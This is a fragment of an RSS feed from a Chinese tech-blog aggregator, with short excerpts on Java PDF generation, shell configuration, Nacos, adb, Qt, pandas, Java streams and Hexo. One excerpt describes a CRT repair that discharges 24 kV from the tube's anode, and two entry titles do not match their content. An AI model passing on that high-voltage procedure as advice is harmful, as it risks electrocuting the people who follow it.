      <guid>https://bchobby.github.io/posts/5fd3ac3f6ec085ec1951e1c84ee44656/</guid>
      <description>1、使用itext将HTML模板生成PDF文件 HTML模板注意事项：&#xA;所有标签按语法正确闭合，否则会报错table用border设置表格如果下载到空白文件，看看整体XML的宽度width使用%来设置，itext解析% 2、项目需求 1.实现将html 内容（含中文） 生成pdf&#xA;2.将现有的png格式图片 合入 pdf 中的特定位置&#xA;3.将base64 编码的图腾 合入 pdf 中的特定位置 3、实现效果 4、实现功能 1.所需jar 包 &amp;lt;!-- https://mvnrepository.com/artifact/com.itextpdf/itextpdf --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.itextpdf&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;itextpdf&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.5.11&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- https://mvnrepository.com/artifact/com.itextpdf.tool/xmlworker --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.itextpdf.tool&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;xmlworker&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.5.11&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- https://mvnrepository.com/artifact/com.itextpdf/itext-asian --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.itextpdf&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;itext-asian&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.2.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2.代码功能实现 package com.sinosoft.cloudclaim.utils; import com.itextpdf.text.*; import com.itextpdf.text.pdf.BaseFont; import com.itextpdf.text.pdf.PdfWriter; import com.itextpdf.tool.xml.XMLWorkerHelper; import com.sinosoft.cloudclaim.investigation.utility.Base64; import java.io.ByteArrayInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.nio.charset.Charset; /** * @Description: * @author: YaoGX * @version: 1.</description>
    </item>
    <item>
      <title>终端bash_profile配置不生效问题</title>
      <link>https://bchobby.github.io/posts/3f14d73ae549ecdf46eef8ebdc9c586e/</link>
      <pubDate>Tue, 27 Jul 2021 23:00:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f14d73ae549ecdf46eef8ebdc9c586e/</guid>
      <description>MAC设置环境变量时, 配置的 bash_profile 没有生效，需要手动执行下面命令才生效。 source ~/.bash_profile&#xA;原因：zsh和bash有别， zsh模式不执行上述脚本，bash模式才执行。&#xA;zsh、bash 模式互相切换&#xA;切换bash chsh -s /bin/bash&#xA;切换zsh chsh -s /bin/zsh&#xA;区别：zsh完美兼容bash，并且有比bash更强大的功能，用起来也比bash更优雅，mac 自带 zsh，新款的默认使用后zsh。&#xA;解决：&#xA;bash&#xA;vim ~/.bashrc source ~/.bash_profile&#xA;zsh&#xA;vim ~/.zshrc&#xA;source ~/.bash_profile</description>
    </item>
    <item>
      <title>nacos启动报错 db.num is null【已解决】</title>
      <link>https://bchobby.github.io/posts/277f62a0118f5c809125afcaa234e047/</link>
      <pubDate>Tue, 27 Jul 2021 22:18:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/277f62a0118f5c809125afcaa234e047/</guid>
      <description>文章目录 1、双击startup.cmd文件，启动nacos 一、问题db.num is null2、新建一个数据库nacos3、执行对应的sql语句4、修改配置文件 二、问题Unable to start embedded Tomcat5、修改cluster.conf配置文件6、再次启动7、登录 理论上启动nacos，只需要双击startup.cmd文件（win下），就可以直接启动，但是我在启动的过程中却发生了。本人下载的nacos版本为nacos-server-1.4.0。该篇博文为自己在安装过程中出现的异常以及自己的解决办法，特做简单总结记录&#xA;1、双击startup.cmd文件，启动nacos 一、问题db.num is null 2、新建一个数据库nacos 3、执行对应的sql语句 这些SQL包含我们nacos客户端使用到的一些数据库表，且含有登录nacos客户端所使用的用户名和密码（用户信息存在user表中）&#xA;4、修改配置文件 还是在在conf文件目录下，修改application.properties配置文件，将注释掉的数据库配置修改为我们本地数据的连接配置&#xA;二、问题Unable to start embedded Tomcat 5、修改cluster.conf配置文件 还是在conf文件目录下，将cluster.conf.example文件名后面的example删掉，且将文件内部的地址修改为我们的本机地址&#xA;6、再次启动 如果你想使用单机模式启动&#xA;在命令行输入该命令启动即可： startup.cmd -m standalone&#xA;7、登录 默认账号名和密码均为nacos</description>
    </item>
    <item>
      <title>计算机出现蓝屏怎么解决,电脑出现蓝屏故障0x00000019怎么办？</title>
      <link>https://bchobby.github.io/posts/9372bf1f684c47f3a180f730dea50485/</link>
      <pubDate>Tue, 27 Jul 2021 15:34:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9372bf1f684c47f3a180f730dea50485/</guid>
      <description>原标题：电脑出现蓝屏故障0x00000019怎么办？&#xA;电脑开机出现蓝屏故障0x00000019怎么处理？电脑出现蓝屏，一般都会有提示错误代码或者出错的文件名等，最近就有用户跟小编反映，开机出现了蓝屏故障，提示错误代码0x00000019，应该这么解决呢？今天云骑士就来跟大家讲讲电脑开机出现蓝屏故障0x00000019怎么处理。&#xA;原因一：硬盘、数据线等硬件异常&#xA;解决方法：&#xA;1、按下组合键win+r打开运行，输入“EventVwr.msc”回车后打开事件查看器。&#xA;2、依次点击“Windows 日志”下的应用程序和系统，注意检查其中的系统日志和应用程序日志中标明错误的项。&#xA;3、然后重启电脑，按f8进入安全模式，选择最后一次正确的配置，回车即可。&#xA;原因二：磁盘驱动器在磁盘找不到特定的扇区或磁道所致&#xA;解决方法：&#xA;1、修复磁盘引导，打开云骑士桌面上的“修复系统引导”工具，点击“自动修复”，进行修复即可。&#xA;2、打开云骑士pe桌面上中的分区工具Diskgenius，点击“硬盘”，选择“坏道检测与修复”。&#xA;3、如果以上两种方法没有效果，可以尝试格式化分区，然后重新分区，重装系统来解决。&#xA;关于电脑蓝屏故障0x00000019怎么处理就跟大家介绍到这了，如果有遇到这个问题的朋友不妨试试云骑士介绍的办法哦，相信能够帮助到您的！返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>计算机点开一直压缩在屏幕下方,电脑屏幕显示被压缩了怎么变</title>
      <link>https://bchobby.github.io/posts/bd90fcb90eb54d6972234697b13a50e1/</link>
      <pubDate>Tue, 27 Jul 2021 15:05:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd90fcb90eb54d6972234697b13a50e1/</guid>
      <description>屏幕显示模糊是各种显示器常见故障之一，其产生原因主要有三个方面：一是运输过程中或使用中受到震动而使FBT(行输出变压器)的聚焦电位器松动或移位，致使加到CRT中的聚焦电压变化(偏离工厂调试好的最佳电压值)，造成屏幕模糊；二是使用环境湿度大，使CRT尾座板上聚焦引脚的放电环(半圆球)产生锈蚀，在CRT刚通电时出现模糊现象；三是CRT管内因制造工艺或CRT锥体玻壳内有杂物而使聚焦(focuse)极与加速极(G2)间产生静电积尘，形成极电阻而使屏幕出现严重的模糊现象。 怎样根据屏幕模糊的现象来判断是何种原因引起的呢？ 首先从屏幕模糊的程度来看，若模糊现象较轻，仅仅是字符轮廓变粗，而字迹依然能识别，大多属第一种原因所引起；若字符大面积严重模糊，屏幕一片白色光晕，字符已无法辨认且调FBT上的聚焦电位器时屏幕亮度随之变化，则属第三种原因所为；如果CRT刚开机时模糊，随着时间的延长，屏幕字符越来越清晰，这通常为第二种原因所造成。 弄清了屏幕模糊的原因，如何根据故障现象来排除故障呢？ 对于第一种情况，打开机盖，微调FBT中的聚焦(focuse)电位器即可排除故障。至于尾板上聚焦引脚放电环锈蚀的处理，一般使用无水酒精清洗放电环及尾座上各电极插头和插座，如放电环锈蚀严重时，可更换尾座部件。第三种原因引起的屏幕模糊的处理方法是：取下CRT尾座板，将CRT上高压帽中24KV高压用万用表笔线(最好使用绝缘性能好些的数字万用表)引到CRT聚焦板插座中，打开显示器交流电源，用一接地的表笔线对加速极(G2)插头瞬间放电2～3次(最好将CRT上G2插头用一外加保护套管短线引出来，对引出线进行对地瞬间放电作业)。 一般经过2～3次放电过程便能使聚焦(focuse)与加速极(G2)两电极之间的尘埃极电阻击穿。恢复原电路后，观察屏幕字符或图文显示的清晰程度，必要时适当调一下FBT上的聚焦电位器就能使模糊故障排除。这种方法人们常称“打Acking法”，操作中因涉及到高电压，应谨慎从事，切记保护人身和设备的安全。 需要说明的是，上述屏幕显示模糊故障，并不包括那些诸如加速极(G2)电压调整不当，亮度、对比度电位器调节位置不合适等引起的屏幕失调，看上去似乎有一层雾朦朦之感觉的情况在内。对于IBM 2248／G03、Envision／D350等显示器，用橡皮榔头对准CRT屏幕正中部位轻轻击打几次，有五成把握能排除这类显示器的模糊故障，这不失为修理显示器模糊故障捷径之路。&#xA;◆◆&#xA;评论读取中....&#xA;请登录后再发表评论!&#xA;◆◆&#xA;修改失败，请稍后尝试</description>
    </item>
    <item>
      <title>spring.jackson.date-format设置对ObjectMapper无效的解决方案</title>
      <link>https://bchobby.github.io/posts/0232b8e008297c18c5ac803f24dd469f/</link>
      <pubDate>Tue, 27 Jul 2021 09:25:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0232b8e008297c18c5ac803f24dd469f/</guid>
      <description>通常，可以通过在application.properties文件中添加日期类型数据的格式和时区配置，可以实现全局时间格式化&#xA;#jackson相关配置 spring.jackson.date-format = yyyy-MM-dd HH:mm:ss #时区必须要设置 spring.jackson.time-zone= GMT+8 #ALWAYS的意思是即时属性为null，仍然也会输出这个key spring.jackson.default-property-inclusion=ALWAYS 这种方式，仅对webmvc起作用（失效的话是另一种情况，网友可自行搜索解决方案）&#xA;但是，有些情况下，会需要通过ObjectMapper的writeValueAsString直接进行对象的序列化。此时会发现以上的全局设置并不起作用，日期类型数据将序列化为时间戳。如果想格式化，则必须通过添加注解的方式：&#xA;@Data public class GetSysDateResult { @JsonProperty(value = &#34;SysDate&#34;) @JsonFormat(pattern = &#34;yyyy-MM-dd HH:mm:ss&#34;) private Date sysDate; } 这样显然不方便，也可能会造成系统中配置的混乱。&#xA;经过研究，我简单封装了一个工具类，可静态调用，且通过添加setXXX实现静态类支持@Value的方法实现对配置文件中设置的支持。同时，此方案不影响@JsonFormat设置。&#xA;希望对大家能有所帮助。&#xA;import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Component; import java.text.SimpleDateFormat; import java.util.TimeZone; @Component public final class JsonUtil { private static ObjectMapper mapper = new ObjectMapper(); // 获取配置中的日期格式并设置 @Value(&#34;${spring.jackson.date-format}&#34;) public void setPattern(String val) { SimpleDateFormat df = new SimpleDateFormat(val); mapper.</description>
    </item>
    <item>
      <title>pandas之to_csv方法保存csv文件中出现乱码问题的解决办法</title>
      <link>https://bchobby.github.io/posts/2c488c8afdcf12f7f5695fe4e01291b4/</link>
      <pubDate>Mon, 26 Jul 2021 19:57:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c488c8afdcf12f7f5695fe4e01291b4/</guid>
      <description> pandas之to_csv方法保存csv文件中出现乱码问题的解决办法 今天在用pandas库的to_csv方法将txt文件转化为csv文件时,发现打印结果正常,但是保存的csv文件中出现乱码,错误如下:&#xA;data.to_csv(r&#39;E:\读取文件.csv&#39;, encoding=&#34;utf-8&#34;) 错误原因就在于encoding=&#34;utf-8&#34;,将它改为encoding=&#34;utf_8_sig&#34;就成功保存无乱码了,详情如下&#xA;示例代码:&#xA;data.to_csv(r&#39;E:\读取文件.csv&#39;, encoding=&#34;utf_8_sig&#34;) </description>
    </item>
    <item>
      <title>ipad触摸测试软件,平板电脑屏幕灵敏度测试：iPad系列最出色</title>
      <link>https://bchobby.github.io/posts/709b7c420a03a160a90ab71d5643aab4/</link>
      <pubDate>Mon, 26 Jul 2021 17:51:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/709b7c420a03a160a90ab71d5643aab4/</guid>
      <description>【搜狐数码消息】10月10日消息，在发布了有关手机屏幕灵敏度的测试结果之后，Agawi的研究人员最近就对平板电脑的触控灵敏度进行了一次测试。结果发现，苹果iPad和iPad mini是所有平板电脑当中屏幕灵敏度最高的，超过了Android平板以及微软Surface。&#xA;从Agawi公布的测试结果来看，iPad和Android设备之间在屏幕灵敏度上的差距非常大。那么两类设备之间的差距究竟来自何处？是各自平台先天上的区别？还是苹果的优化更到位？目前我们还不得而知。&#xA;让我们说回测试结果。可以看出，iPad mini的得分实际上要比全尺寸iPad更高。Nvidia Shield紧随其后，微软Surface的排名也不错。而Android平板总体表现不佳，最低应用响应时间都在100毫秒以上。&#xA;想要理解这些结果，我们需要去理解触控灵敏度，或者说是触摸到屏幕与屏幕响应之间的延迟。较早前的研究发现，100毫秒的延迟就能够被用户所察觉——比如用手写笔在屏幕上书写，你会看到笔记和你的笔锋之间存在着明显的延迟。在50毫秒之下，延迟依旧能够被察觉，但并不那么明显。而即使是10毫秒下，延迟还是可以被看出，但已经非常不明显了。只有在1毫秒的延迟下，人眼才不会察觉到延迟的存在。&#xA;所以说，目前的设备距离1毫秒的理想情况还相去甚远。此外，即便iPad mini和iPad变得越来越快，但屏幕延迟依旧要比iPhone 5的成绩(55毫秒)要高一些。(Eskimo)</description>
    </item>
    <item>
      <title>unable to connect to 192.168.1.110:5555 解决办法</title>
      <link>https://bchobby.github.io/posts/9d39e34f4482b4d01d27dcce8ccae16f/</link>
      <pubDate>Mon, 26 Jul 2021 17:16:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d39e34f4482b4d01d27dcce8ccae16f/</guid>
      <description>问题记录&#xA;测试想要adb wife连接Android设备时，经常碰到如下错误&#xA;unable to connect to 192.168.x.xxx:5555: cannot connect to 192.168.x.xxx:5555: 由于目标计算机积极拒绝，无法连接。 (10061) 通过网上查询找到了可行的办法，记录一下&#xA;注意几点&#xA;1.Android设备需要开启开发者模式，并且打开usb调试&#xA;2.Android设备需和电脑在同一个局域网内&#xA;3.adb tcpip 无线模块之后，需要拔出usb线（建议直接可以usb调试）&#xA;4.执行命令“adb tcpip 5555”可能会需要重新开启usb调试&#xA;5.断开wife操作：adb disconnect&#xA;解决办法&#xA;1.Android设备开启usb调试模式，并通过usb连接到电脑&#xA;2.在终端执行命令“adb tcpip 5555”&#xA;成功daemon not running; starting now at tcp:5037 daemon started successfully&#xA;3.继续执行adb connect 192.168.x.xxx(你的手机ip地址)成功connected to 192.168.x.xxx:5555&#xA;之后拔下usb调试线&#xA;4.可以检测一下是否连接成功：adb devices&#xA;成功List of devices attached 192.168.x.xxx:5555 device</description>
    </item>
    <item>
      <title>C&#43;&#43;实践之Qt学习（十一）：键盘鼠标事件</title>
      <link>https://bchobby.github.io/posts/12a6413379c5ec413a90c1964b8df747/</link>
      <pubDate>Mon, 26 Jul 2021 17:03:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12a6413379c5ec413a90c1964b8df747/</guid>
      <description>文章目录 键盘事件鼠标事件 键盘事件 重写KeyPressEvent事件函数：&#xA;virtual void keyPressEvent(QKeyEvent *event); void GameWnd::keyPressEvent(QKeyEvent *event) { qDebug() &amp;lt;&amp;lt; event-&amp;gt;key(); switch(event-&amp;gt;key()) { case Qt::Key_Up: break; case Qt::Key_Down: break; case Qt::Key_Left: break; case Qt::Key_Right: break; } } 相对应的有keyReleaseEvent表示键盘松开事件。&#xA;鼠标事件 鼠标事件有：鼠标按下、鼠标移动、鼠标松开、双击、滚轮滚动。&#xA;重写相应的事件函数：&#xA;void mousePressEvent(QMouseEvent *event); void mouseMoveEvent(QMouseEvent *event); void mouseReleaseEvent(QMouseEvent *event); void mouseDoubleClickEvent(QMouseEvent *event); void wheelEvent(QWheelEvent *event); 示例：鼠标按下事件：&#xA;void GameWnd::mousePressEvent(QMouseEvent *event) { if(event-&amp;gt;button() == Qt::LeftButton) { qDebug() &amp;lt;&amp;lt; &#34;左键&#34; ; } else if(event-&amp;gt;button() == Qt::RightButton) { qDebug() &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>C&#43;&#43;实践之Qt学习（十）：绘图</title>
      <link>https://bchobby.github.io/posts/e1cab3cfe674b6d4bbee367a8aa3dff5/</link>
      <pubDate>Mon, 26 Jul 2021 17:01:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1cab3cfe674b6d4bbee367a8aa3dff5/</guid>
      <description>文章目录 重绘事件绘制基本图形绘制资源图像示例：滚动背景绘制 重绘事件 根据博客园这篇文章的介绍：&#xA;在Qt中，paintEvent方法是进行重绘的，只要出现以下几种情况，系统就会自动调用paintEvent方法。&#xA;a）当窗口部件第一次显示时，系统会自动产生一个绘图事件&#xA;b）重新调整窗口部件大小&#xA;c）当窗口部件被其他部件遮挡，然后又再次显示出来时，就会对隐藏的区域产生一个重绘事件&#xA;也可以通过调用QWidget::update()和QWidget::repaint()来产生一个绘图事件，其中repaint会强制产生一个即时的重绘事件，update会在Qt下一次处理事件时才会调用绘制事件，如果窗口部件在屏幕上是不可见的，则update和repaint什么都不会做。如果连续多次调用update方法，Qt会自动的将其压缩为一个单一的绘制事件，避免闪烁现象&#xA;因此，要实现绘图操作，就需要重写该函数，该函数不需要主动调用，也不需要关联到信号上，系统将会自动调用。&#xA;函数的原型：&#xA;[virtual protected] void QWidget::paintEvent(QPaintEvent *event) 绘制基本图形 在绘图事件中，可以通过QPainter画家类进行绘制操作。并可以给画家设置画笔QPen、画刷QBrush。&#xA;void GameWnd::paintEvent(QPaintEvent *event) { QPainter painter(this); // 创建画家对象，并指定其绘图设备 QPen pen(QColor(255, 102, 102)); // 创建画笔，可以指定绘图的线条颜色 // 设置画笔宽度、风格 pen.setWidth(5); pen.setStyle(Qt::DashDotLine); // 绘制直线 painter.drawLine(0, 0, 100, 100); // 设置画家的画笔 painter.setPen(pen); // 绘制矩形 painter.drawRect(20, 20, 100, 80); QBrush brush(Qt::cyan); // 创建画刷，指定颜色，画刷的作用是绘制图形内部颜色 brush.setStyle(Qt::Dense3Pattern); // 设置风格 painter.setBrush(brush); // 绘制圆形 painter.drawEllipse(QPoint(100, 100), 50, 50); // 绘制文字 painter.drawText(10, 150, &#34;</description>
    </item>
    <item>
      <title>Jupyter Notebook使用</title>
      <link>https://bchobby.github.io/posts/f67deb7b7a417b064ed6c70bb0d77062/</link>
      <pubDate>Mon, 26 Jul 2021 15:27:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f67deb7b7a417b064ed6c70bb0d77062/</guid>
      <description> 1.在Jupyter Notebook中，自动补全代码&#xA;首先安装一个第三方的包：&#xA;pip install jupyter_contrib_nbextensions 然后执行：&#xA;jupyter contrib nbextension install --user --skip-running-check 然后打开Jupyter Notebook，会发现菜单栏多了Nbextensions，点进去：&#xA;Hinterland即是自动代码补全，打钩；&#xA;另外，Table of Contents是显示目录Notebook的目录。&#xA;2. 目录效果：&#xA;关于目录&#xA;在Markdown编辑模式下（在命令模式下，按m进入Markdown模式，按y进入代码模式），&#xA;# 一级标题目录&#xA;## 二级标题目录&#xA;### 三级标题目录&#xA;Ctrl+Enter则自动生成标题&#xA;3.多行输出&#xA;from IPython.core.interactiveshell import InteractiveShell InteractiveShell.ast_node_interactivity = &#34;all&#34; </description>
    </item>
    <item>
      <title>计算机专业surface pro,surface pro4家庭版和专业版的不同</title>
      <link>https://bchobby.github.io/posts/17dd06167291dc9c4c1bf6f4fbb585dd/</link>
      <pubDate>Mon, 26 Jul 2021 12:10:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17dd06167291dc9c4c1bf6f4fbb585dd/</guid>
      <description>1.Windows 7 Starter即Windows 7 简易版或初级版，它是功能最少的Windows 7 版本，可以加入家庭组，任务栏上有变化，有Jump List菜单，但没有Aero效果，仅限于上网本市场。&#xA;2.Windows 7 Home Basic&#xA;Windows 7家庭普通版，也叫家庭基础版，Windows 7的家庭普通版主要针对中、低级的家庭计算机，所以Windows Aero功能也没有，仅限于新兴市场来发布。&#xA;3.Windows 7 Home Premium&#xA;Windows 7家庭高级版，这个版本是针对家用主流计算机市场而开发的版本，它包含了各种Windows Aero功能、Windows Media Center媒体中心以及触控屏幕的控制功能，在美化效果上也较突出，因此这个版本得到大部分家庭用户的青睐。&#xA;4.Windows 7 Professional&#xA;Windows 7专业版，这个版本主要是面向小企业用户和计算机爱好者，它不仅包含了家庭高级版的所有功能，同时还增加了包括远程桌面、服务器、加密的文件系统、展示模式、位置识别打印、软件限制方针以及Windows XP模式等在内的新功能。是目前用的最多的一个版本之一。&#xA;5.Windows 7 Enterprise&#xA;Windows 7企业版，Windows 7 Enterprise提供一系列企业级增强功能，如内置或外置驱动器数据保护的BitLocker、锁定非授权软件运行的AppLocker、无缝连接基于Windows Server 2008 R2企业网络的DirectAccess，以及Windows Server 2008 R2网络缓存等。主要便用与企业和服务器相关的应用，用的人相对较少。&#xA;6.Windows 7 Ultimate&#xA;Windows 7旗舰版，这个版本是授权给一般用户使用的高级Windows 7版本，它包括了Windows 7企业版的所有功能。是Windows 7 各版本中最为灵活、强大的一个版本，是目前用的最多的另一个版本之一。&#xA;取消&#xA;评论</description>
    </item>
    <item>
      <title>jdk8_Stream流使用-映射</title>
      <link>https://bchobby.github.io/posts/ec39b69cdf5fb1ef42c17d2e2d3f703c/</link>
      <pubDate>Mon, 26 Jul 2021 10:46:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec39b69cdf5fb1ef42c17d2e2d3f703c/</guid>
      <description>map()实现类型转换 接收一个函数作为方法参数，这个函数会被应用到集合中每一个元素上，并最终将其映射为一个新的元素&#xA;案例：&#xA;将List 转换List&#xA;public class MapDemo { static class KeyValue { private Integer key; private String value; public KeyValue(Integer key, String value) { this.key = key; this.value = value; } @Override public String toString() { return &#34;KeyValue{&#34; + &#34;key=&#34; + key + &#34;, value=&#39;&#34; + value + &#39;\&#39;&#39; + &#39;}&#39;; } } public static void main(String[] args) { List&amp;lt;Student&amp;gt; studentList = new ArrayList&amp;lt;&amp;gt;(); studentList.add(new Student(1, &#34;张三&#34;, 23)); studentList.</description>
    </item>
    <item>
      <title>jdk8_Stream流-自定义收集器</title>
      <link>https://bchobby.github.io/posts/24351847e70463b88b98498688bea9bb/</link>
      <pubDate>Mon, 26 Jul 2021 10:45:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24351847e70463b88b98498688bea9bb/</guid>
      <description>介绍 对于自定义收集器实现，需要对Collector接口中的方法进行实现&#xA;Collector接口需要三个参数。T：流中要收集的元素类型、A：累加器的类型、R：收集的结果类型&#xA;public interface Collector&amp;lt;T, A, R&amp;gt; { Supplier&amp;lt;A&amp;gt; supplier(); BiConsumer&amp;lt;A, T&amp;gt; accumulator(); BinaryOperator&amp;lt;A&amp;gt; combiner(); Function&amp;lt;A, R&amp;gt; finisher(); Set&amp;lt;Characteristics&amp;gt; characteristics(); } 需要实现Collector接口中的五个方法：supplier、accumulator、finisher、combiner、characteristics&#xA;**supplier：**用于创建一个容器，在调用它时，需要创建一个空的累加器实例，供后续方法使用**accumulator：**基于supplier中创建的累加容器，进行累加操作**finisher：**当遍历完流后，在其内部完成最终转换，返回一个最终结果**combiner：**用于在并发情况下，将每个线程的容器进行合并**characteristics：**用于定义收集器行为，如是否可以并行或使用哪些优化。其本身是一个枚举，内部有三个值，分别为： **CONCURRENT：**表明收集器是并行的且只会存在一个中间容器**UNORDERED：**表明结果不受流中顺序影响，收集是无序的**IDENTITY_FINISH：**表明累积器的结果将会直接作为归约的最终结果，跳过finisher()、 自定义实现 返回及格的学生信息&#xA;自定义器实现 public class MyCollector implements Collector&amp;lt;Student, List&amp;lt;Student&amp;gt;, List&amp;lt;Student&amp;gt;&amp;gt; { @Override public Supplier&amp;lt;List&amp;lt;Student&amp;gt;&amp;gt; supplier() { return ArrayList::new; } @Override public BiConsumer&amp;lt;List&amp;lt;Student&amp;gt;, Student&amp;gt; accumulator() { return ((students, student) -&amp;gt; { if (student.isPass()) { students.add(student); } }); } @Override public BinaryOperator&amp;lt;List&amp;lt;Student&amp;gt;&amp;gt; combiner() { return null; } @Override public Function&amp;lt;List&amp;lt;Student&amp;gt;, List&amp;lt;Student&amp;gt;&amp;gt; finisher() { return Function.</description>
    </item>
    <item>
      <title>jdk8_Stream流使用-收集器</title>
      <link>https://bchobby.github.io/posts/82cecc36ec7d09fba5570c5462240f91/</link>
      <pubDate>Sun, 25 Jul 2021 23:44:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82cecc36ec7d09fba5570c5462240f91/</guid>
      <description>简介 通过使用收集器，可以让代码更加方便的进行简化与重用。其内部主要核心是通过Collectors完成更加复杂的计算转换，从而获取到最终结果。并且Collectors内部提供了非常多的常用静态方法，直接拿来就可以了。比方说：toList&#xA;Collectors常用方法使用 通过counting()统计集合总数 public class CollectorsDemo { public static void main(String[] args) { List&amp;lt;Student&amp;gt; studentList = new ArrayList&amp;lt;&amp;gt;(); studentList.add(new Student(&#34;张三&#34;, 23)); studentList.add(new Student(&#34;李四&#34;, 20)); studentList.add(new Student(&#34;王五&#34;, 19)); studentList.add(new Student(&#34;小明&#34;, 21)); studentList.add(new Student(&#34;小红&#34;, 24)); Long collect = studentList.stream().collect(Collectors.counting()); System.out.println(collect); //等同于 long count = studentList.stream().count(); System.out.println(count); } } Collectors.counting 中内部做的调用reducing()进行数据汇总&#xA;public static &amp;lt;T&amp;gt; Collector&amp;lt;T, ?, Long&amp;gt; counting() { return reducing(0L, e -&amp;gt; 1L, Long::sum); } 通过maxBy()与minBy()获取最大值最小值 public class CollectorsDemo { public static void main(String[] args) { List&amp;lt;Student&amp;gt; studentList = new ArrayList&amp;lt;&amp;gt;(); studentList.</description>
    </item>
    <item>
      <title>如何能让一维数组转换成二维数组</title>
      <link>https://bchobby.github.io/posts/84726428d4247ec4e36c6a78d6d1d02d/</link>
      <pubDate>Sun, 25 Jul 2021 23:11:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84726428d4247ec4e36c6a78d6d1d02d/</guid>
      <description>分析 接口给我们的数据是一个一维数组[{}, {}, {},{},{},{},{},{}]，为了方便轮播图使用，我们把4件商品分成一组，一组是一个单位来填充轮播的一屏。&#xA;二维数组转换成一维数组（[1,1],[2,2],[3,3] 转换成 [1, 1, 2, 2, 3, 3]） slice（）方法 // 得到需要的数据： 把一维数组转成二位数组 // 转换前：[1,2,3,4,5,6,7,8] // 取size=4； 4个一组 // 转换后：[[1,2,3,4], [5,6,7,8]] findRelGoods(id).then(data =&amp;gt; { const size = 4 // 每页4条 const total = Math.ceil(data.result.length / size) // 总页数 //Math.ceil向上取整 for (let i = 0; i &amp;lt; total; i++) { const t = data.result.slice(i * size, (i + 1) * size) sliders.value.push(t) } }) 一维数组转换成二维数组 apply（）方法 let arr =[[1,1],[2,2],[3,3]]; let onearr=[].</description>
    </item>
    <item>
      <title>GitHub Pages &#43; Hexo搭建个人博客网站，史上最全教程</title>
      <link>https://bchobby.github.io/posts/7d05ce46613a5f776ea8470bbb0bd91a/</link>
      <pubDate>Sun, 25 Jul 2021 23:02:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d05ce46613a5f776ea8470bbb0bd91a/</guid>
      <description>文章目录 一、准备工作1. GitHub账号2. 安装Git3. 安装NodeJS 二、创建仓库三、安装Hexo四、更换主题1. NexT 主题2. Fluid主题 五、创建文章六、个性化页面展示1. 浏览器tab页名称2. 博客标题3. 主页正中间的文字 七、添加阅读量统计1. 申请LeanCloud账号并创建应用2. 修改Fluid配置单篇文章阅读量计数页面底部展示网站的 PV、UV 统计数 八、添加评论功能九、发布到GitHub Pages方式一方式二 十、发布到自己服务器，Nginx代理十一、最终效果展示 本文介绍如何使用GitHub Pages + Hexo搭建个人博客网站，完全免费，所有内容本人亲测，绝对可用。 一、准备工作 1. GitHub账号 需要有一个GitHub账号，没有的话到 官网 申请一个。&#xA;注册很简单，不懂的话可以参考 GitHub申请账号&#xA;2. 安装Git 在自己电脑上安装好Git，hexo部署到GitHub时要用。&#xA;网上找篇教程或者参考 Git安装(Windows)&#xA;3. 安装NodeJS 在自己电脑上安装好NodeJS，Hexo是基于NodeJS编写的，所以需要安装NodeJS和npm工具。&#xA;网上找篇教程或者参考 NodeJS安装及配置(Windows)&#xA;二、创建仓库 在GitHub上创建一个新的代码仓库用于保存我们的网页。&#xA;点击Your repositories，进入仓库页面。&#xA;点击New按钮，进入仓库创建页面。&#xA;填写仓库名，格式必须为&amp;lt;用户名&amp;gt;.github.io，然后点击Create repository。&#xA;点击creating a new file创建一个新文件，作为我们网站的主页。&#xA;新文件的名字必须为index.html，内容先随便写一个简单的，内容示例如下，填写之后点击Commit new file提交。&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;yaorongke&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;h1&amp;gt;yaorongke的个人主页&amp;lt;/h1&amp;gt; &amp;lt;h1&amp;gt;Hello ~&amp;lt;/h1&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; GitHub Pages中找到我们主页的地址为 https://yaorongke.</description>
    </item>
    <item>
      <title>spring security的认证和授权流程</title>
      <link>https://bchobby.github.io/posts/ec9e4af133fe7ca65500c1f69ab1209e/</link>
      <pubDate>Sun, 25 Jul 2021 20:15:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec9e4af133fe7ca65500c1f69ab1209e/</guid>
